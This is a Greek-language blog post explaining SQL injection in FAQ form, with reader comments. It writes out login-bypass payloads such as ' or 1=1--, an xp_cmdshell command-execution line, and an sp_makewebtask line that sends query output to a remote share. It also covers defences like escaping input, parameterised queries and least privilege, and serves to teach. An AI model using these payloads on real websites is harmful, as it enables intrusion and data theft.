Jump to content

BlackTrack

  • entries
    93
  • comments
    279
  • views
    24382

SQL Injection – hacking websites και όχι μόνο


Blackman

1978 views

 Share

Ξεκινάω το συγκεκριμένο post για να δείτε πως γίνεται το hack που ονομάζεται SQL Injection, καθώς επίσης και διάφοροι τρόποι που προτείνονται για να αποφευχθεί κάτι τέτοιο και διάφορα άλλα. Σκοπός μου είναι να δώσω την εικόνα του συγκεκριμένου hack, αλλά αν θέλετε να μάθετε να το κάνετε θα πρέπει να το ψάξετε περισσότερο μόνοι σας.

Τι είναι SQL Injection attack

Όπως μπορείτε να βρείτε και στο Wikipedia, μιλάμε για μία τεχνική η οποία εκθέτει αδυναμίες στην ασφάλεια (security vulnerability exploit) μίας βάσης δεδομένων. Η συγκεκριμένη ‘τρύπα’ έχει να κάνει με το τρόπο που φιλτράρονται οι χρήστες ή γιατί τα usernames δεν είναι strongly typed. Οι επιθέσεις αυτές είναι επίσης γνωστές και ως SQL Insertion attacks.

Μόλις ο hacker αποκτήσει πρόσβαση, τότε μπορεί να εκτελέσει ότι query θέλει πάνω στην βάση δεδομένων. Συνεπώς και να τραβήξει ή να αλλάξει όποια πληροφορία θέλει.

SQL Injection FAQ

Ε:Τι χρειάζεται κάποιος για να κάνει την παραπάνω επίθεση;

Α:Απλά έναν web browser.

 

Ε:Τι πρέπει να ψάξει για να κάνει κάποιος τη συγκεκριμένη επίθεση;

Α:Σελίδες που επιτρέπουν την εισαγωγή δεδομένων όπως login page, search page, feedback κλπ. Μερικές φορές ακόμα και HTML σελίδες χρησιμοποιούν POST εντολές για να στείλουν τις σχετικές παραμέτρους σε κάποια σελίδα ASP. Οπότε σε αυτή την περίπτωση δεν θα δείτε τις παραμέτρους αυτές στην URL, αλλά μόνο αν ελέγξετε τον source code και ψάξετε και βρείτε το σημείο “FORM” μέσα στον κώδικα πχ

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

Οτιδήποτε υπάρχει μεταξύ FORM & /FORM είναι πιθανές παράμετροι που θα μπορεί κάποιος να χρησιμοποιήσει.

 

Ε:Τι γίνεται αν δεν βρίσκουμε σελίδα που να δέχεται εισαγωγή δεδομένων;

A:Θα πρέπει να ψάξετε σελίδα ASP, JSP, CGI ή PHP. Αυτό που θα πρέπει να ψάχνει κάποιος είναι σελίδες όπως:

http://autoexec.gr/index.asp?id=10

 

E:Πως θα δοκιμάσουμε αν υπάρχει ‘τρύπα’

A:Δοκιμάστε να γράψετε hi' or 1=1--

αυτό μπορεί να είναι στο Login, στο Password ή ακόμα και την URL

πχ http://autoexec.gr/index.asp?id=hi' or 1=1--

 

E:Αλλά γιατί ' or 1=1--;

Α:Πέραν του ότι μπορεί να γίνει bypass το login, είναι πιθανόν να δει κάποιος επιπλέον πληροφορίες που συνήθως δεν είναι διαθέσιμες. Αν πχ παμε σε μία σελίδα που έχει link σε μία άλλη σελίδα όπως http://autoexec.gr/index.asp?category=hardware

Βλέπουμε ότι στο URL η μεταβλητή είναι το category, ενώ το hardware είναι η τιμή για την μεταβλητή. Αυτό που πλευρά κώδικα θα εμπεριέχει κώδικα σαν και τον παρακάτω:

v_cat = request(“category")

sqlstr=”SELECT * FROM hardwr WHERE PCategory=’” & v_cat & “’”

set rs=conn.execute(sqlstr)

Έτσι με το παραπάνω το SQL που ουσιαστικά αντιστοιχεί τον συγκεκριμένο κώδικα μπορεί να γίνει:

SELECT * FROM hardwr WHERE PCategory=’hardware’

όπου το query θα φέρει πίσω αποτελέσματα για το hardware.

Οπότε σε αυτή την περίπτωση αν πάρουμε το url

http://autoexec.gr/index.asp?category=hardware' or 1=1--

Τώρα η μεταβλητή v_cat αντιστοιχεί στο "hardware' or 1=1--", οπότε αν το βάλουμε αυτό σε SQL query, θα έχουμε

SELECT * FROM hardwr WHERE Pcategory=’hardware’ or 1=1--‘

Τι έχουμε σε αυτή την περίπτωση; Ότι το query θα μας φέρει τα πάντα από τον πίνακα hardwr ασχέτως αν είναι ίσο με το hardware ή όχι. Η διπλή παύλα (--) λέει στον MS SQL server να αγνοήσει το υπόλοιπο query, το οποίο με την σειρά του θα παρατήσει το τελευταίο quote (‘). Μερικές φορές η διπλή παύλα μπορεί να αντικατασταθεί με το σύμβολο της δίεσης (#).

Παρόλα αυτά όμως, αν δεν είναι SQL server ή δεν μπορείς (ή δεν θες) να αγνοήσεις το υπόλοιπο query, μπορούμε επίσης να δοκιμάσουμε να βάλουμε

‘ or 'a'='a

Οπότε το SQL query θα γίνει:

SELECT * FROM hardwr WHERE PCategory=’hardware’ or ‘a’=’a’

Και θα έχουμε το ίδιο αποτέλεσμα.

Αντίστοιχα μπορείτε να δοκιμάσετε

‘ or 1=1--

“ or 1=1--

or 1=1--

‘ or ‘a’=’a

“ or “a”=”a

‘) or (‘a"=‘a

 

E:Μπορώ να αποκτήσω δυνατότητα απομακρυσμένη εκτέλεσης με SQL Injection;

Α:Οι χρήστες SQL και δη οι developers, γνωρίζουν ότι ο SQL είναι ένα πολύ δυνατό εργαλείο και αυτό γιατί τους δίνει την δυνατότητα να κάνουν ΤΑ ΠΑΝΤΑ σε ένα σύστημα. Έτσι, επειδή ο SQL Server τρέχει σαν SYSTEM, αυτό σημαίνει ότι τα δικαιώματα που έχει είναι επιπέδου administrator στο σύστημα. Οπότε εύκολα από την στιγμή που μπορούμε να τρέξουμε ότι θέλουμε, με την χρήση stored procedures (που είσαι Αντώνη;)

'; exec master..xp_cdmshel ‘ping 10.10.1.2'--

Σε περίπτωση που το μονό quote δεν δουλεύει, χρησιμοποιήστε διπλό.

Το ερωτηματικό στην αρχή (η semi colon όπως το λένε στα ξένα) θα τερματίσει το SQL query που εκτελείται εκείνη την ώρα και θα μας επιτρέψει να ξεκινήσουμε μία νέα εντολή SQL. Για την επιβεβαίωση ότι η εντολή εκτελέστηκε σωστά μπορούμε να πάρουμε απάντηση από ping στην IP για να δούμε αν υπάρχει κάποιο πακέτο από τον server:

#tcpdump icmp

Αν δεν πάρουμε απάντηση από το Ping (που λέγετε Pong), και έχουμε μήνυμα λάθους που σχετίζεται με δικαιώματα, τότε πιθανόν ο administrator έχει περιορίσει την εκτέλεση των stored procedures στον Web User.

 

E:Πως μπορώ να πάρω το αποτέλεσμα του query μου;

Α:Με την χρήση του sp_makewebtask:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMAS.TABLES"

αλλά να έχετε υπόψη ότι ο φάκελος SHARE που θα βρίσκεται στην IP που θέλουμε πρέπει να έχει sharing pemissions σε Everyone.

 

Φυσικά υπάρχουν απαντήσεις και σε άλλα ερωτήματα όπως να πάρουμε αποτελέσματα από μία βάση με την χρήση μηνυμάτων λάθους από ODBC ή πως να τραβήξουμε όλα τα ονόματα στηλών από ένα πίνακα, ή πως τραβάμε ότι data θέλουμε, πως να βάλουμε δικά μας data κλπ

Οπότε καταλαβαίνετε ότι η όλη διαδικασία είναι μεγάλη και φυσικά άμεσα συνδεδεμένη με αυτό που κάνει και ένας developer. Αν για κάποιους δεν σας λένε τίποτα, σίγουρα για άτομα όπως ο Αντώνης του λένε πολλά.

Αν θέλετε να μάθετε περισσότερα για SQL Injection δείτε τα παρακάτω…

http://projects.webappsec.org/SQL-Injection

http://msdn.microsoft.com/en-us/library/ms161953.aspx

http://net.tutsplus.com/articles/can-you-hack-your-own-site-a-look-at-some-essential-security-considerations/

http://en.wikipedia.org/wiki/SQL_injection

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#LineCommentAttacks

http://geniushackers.com/blog/2009/04/08/sql-injection-ultimate-method-for-website-hacking/

exploits_of_a_mom

 

ΠΩΣ ΑΠΟΦΕΥΓΟΥΜΕ SQL INJECTIONS.

Αν διαβάσετε τα παραπάνω θα πάρετε και μία εικόνα για το πρέπει να κάνετε ώστε να αποφύγετε τι ‘κακοτοπιές’ και συνεπώς να μην πέσετε θύμα μίας επίθεσης με SQL Injection. Αλλά θα αναφέρω και κάποια πράγματα και εγώ.

Φροντίστε να ‘βγάλετε’ (εσείς ή κάποιος developer) εκτός χαρακτήρες όπως quotes, slash, backslash, semi colon, NULL, new line, κλπ και αυτά πρέπει να βγουν από τα εξής:

1) εισαγωγή από χρήστες σε πεδίο

2) παραμέτρους στην URL

3) Τιμές από cookies

Επίσης κάτι άλλο που προτείνεται είναι το να βεβαιωθείτε ότι όλα τα νούμερα έχουν μετατραπεί σε integer. Επίσης διαγράψτε stored procedures που δεν σας αρέσουν και δεν χρειάζεστε όπως master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask .

 

ΓΕΝΙΚΑ ΣΥΜΠΕΡΑΣΜΑΤΑ

Η χρήση SQL Injection καταλαβαίνετε ότι δεν είναι κάτι απλό. Είναι πιθανότατα ένα από τους πιο δυνατούς τρόπους για να κάνει κάποιος hacking και επίσης είναι ο πιο απλός καθώς δεν χρειάζεται ιδιαίτερα εργαλεία, αλλά μονάχα ένας web browser. Από εκεί και πέρα αν κάποιος έχει τις απαραίτητες γνώσεις μπορεί να αποκτήσει πλήρης πρόσβαση στο μηχάνημα, πέραν από τα δεδομένα που μπορεί να έχει η βάση δεδομένων. Αυτό που καταφέρνει να κάνει κάποιος ουσιαστικά είναι να ‘κοροϊδέψει το σύστημα και να του δώσει όλες τις πληροφορίες που ζητάει, και καταλαβαίνετε εύκολα ότι αν το συγκεκριμένο attack συνδυαστεί με Google Hacking η ζωή του επίδοξου hacker γίνεται ακόμα πιο εύκολη.

Ελπίζω με το παραπάνω να πήρατε μία εικόνα για το τι είναι αυτή η μορφή επίθεσης, οπότε να πάρετε και τα μέτρα σας (όσοι χρειάζεται).

 

Επιπλέον Links

http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

http://www.owasp.org/asac/input_validation/sql.shtml

http://www.sensepost.com/misc/SQLinsertion.htm

 Share

7 Comments


Recommended Comments

ΣΩΣΤΟΣ Ο ΠΑΙΚΤΗΣ!!!

ΒΕΒΑΙΑ ΟΛΑ ΑΥΤΑ ΓΙΝΟΝΤΑΙ ΔΙΟΤΙ ΔΕΝ ΑΚΟΥΝΕ ΜΕΡΙΚΑ ΠΡΑΓΜΑΤΑ

1. ΠΟΤΕ ΔΕΝ ΦΤΙΑΧΝΟΥΜΕ ΤΑ QUERIES ΜΑΣ ΜΕ STRING CONCATENATION. ΠΑΝΤΑ ΚΑΝΟΥΜΕ ΧΡΗΣΗ ΠΑΡΑΜΕΤΡΩΝ Η ΧΡΗΣΙΜΟΠΟΙΟΥΜΕ STORED PROCEDURES.

 

2. ΤΑ ΔΙΚΑΙΩΜΑΤΑ ΤΟΥ ΧΡΗΣΤΗ ΠΟΥ ΕΙΝΑΙ ΑΠΟ ΤΟ WEB ΘΑ ΕΙΝΑΙ ΤΑ ΑΠΟΛΥΤΟΣ Α Π Α Ρ Α Ι Τ Η Τ Α ΚΑΙ ΙΣΩΣ ΜΟΝΟ READ.

 

ΕΥΚΑΙΡΙΑ ΜΟΥ ΕΔΩΣΕ ΝΑ ΓΡΑΨΩ ΤΗΝ ΣΥΝΕΧΕΙΑ ΠΩΣ ΠΡΕΠΕΙ ΝΑ ΓΡΑΦΤΕΙ Ο ΚΩΔΙΚΑΣ ΚΑΙ ΘΑ ΤΟ ΚΑΝΩ ΣΕ ΛΙΓΟ

 

Link to comment

In general... nice try, but...

Το SQL Injection είναι πολύ μεγάλο θέμα. Κατά την άποψη μου το κείμενο είναι σχετικά μικρό και λείπουν μερικά "καυτά" ή "αιχμηρά" και σίγουρα πολύ σημαντικά attack quueries, όπως για παράδειγμα η χρήση του UNION operator για την εμφάνιση δεδομένων από κάποιο user table... π.χ. Tα περσσότερα CMS πάσχουν από αυτό το vulnerability.

Επίσης λάμπει με την απουσία της από την παράγραφο της προστασίας από SQL Injection η χρήση των Stored Procedures (τουλάχιστον σε SQL Server) η οποία κάνει το SQL Injection αρκετά δύσκολο, λόγο του type checking που εφαρμόζει στις παραμέτρους της.

Επίσης, το "exec master..xp_cdmshel" για να το εκτελέσεις δεν απαιτείται μόνο να είσαι ο system user, αλλά και να το έχεις επιτρέψει από το SQL-Server Configuration. Μια κίνηση με αρκετό... ρίσκο!

Επίσης (πάντα κατά την ταπεινή μου γνώμη) πιστεύω οτι χρησιμοποιείς λανθασμένα και λίγο επιπόλαια την λέξη "hacker" και "hakcing" δίνοντας μια κακή εικόνα για το περιεχόμενο της.

Όλα τα παραπάνω απολύτως καλοπροαίρετα χωρίς καμιά διάθεση να σου κάνω τον έξυπνο...

 

thnx

Link to comment

φίλε μου σε ευχαριστώ για το σχόλιο σου.

αρχικά να αναφέρω όπως αναφέρω στην αρχή αλλά και στο τέλος...όλο το άρθρο είναι για να αποκτήσουν κάποια εικόνα άτομα που δεν ξέρουν τι εστί το συγκεκριμένο attack.

 

Και από την στιγμή που το άρθρο είναι για να δώσει μία εικόνα, φυσικά είναι και ελειπές σε θέματα που καλύπτει καθώς το συγκεκριμένο είναι πολύ μεγάλο θέμα για ανάλυση.

 

Την λέξη hack δεν νομίζω ότι την χρησιμοποιώ επιπόλαια και θα εξηγήσω γιατί. Απλά γιατί αναφέρομαι σε μία επίθεση που αυτός που το κάνει μπορεί να αποκτήσει πρόσβαση σε δεδομένα, αλλά ακόμα και στο μηχάνημα. Σαν tag έχω χρησιμοποιήσει και το penetration testing, καθώς θα μπορούσα να χρησιμοποιήσω και την λέξη exploit. Από την στιγμή που το παραπάνω είναι ένας τρόπος επίθεσης ενός επίδοξου 'hacker' μπορεί κάλιστα να αναφερθεί και ως hack. Πέραν του ότι η λέξη hacking θα δώσει και μερικά views παραπάνω στο άρθρο. ;)

 

Και φυσικά δέχομαι καλοπροαίρετα ότι αναφέρεις.

Link to comment

Το πρώτο που μου ήρθε στο μυαλό να σχολιάσω είναι ότι... διαβάζεις xkcd! :)

 

Πολύ ενδιαφέρον και χρήσιμο post! Νομίζω ότι τώρα πια υπάρχουν πολλά code testing tools για website τα οποία προλαμβάνουν τέτοια λάθη. Άσχετα αν στην Ελλάδα θεωρούνται δυστυχώς αχρείαστα ...

 

 

 

Link to comment
Guest
Add a comment...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
×
×
  • Create New...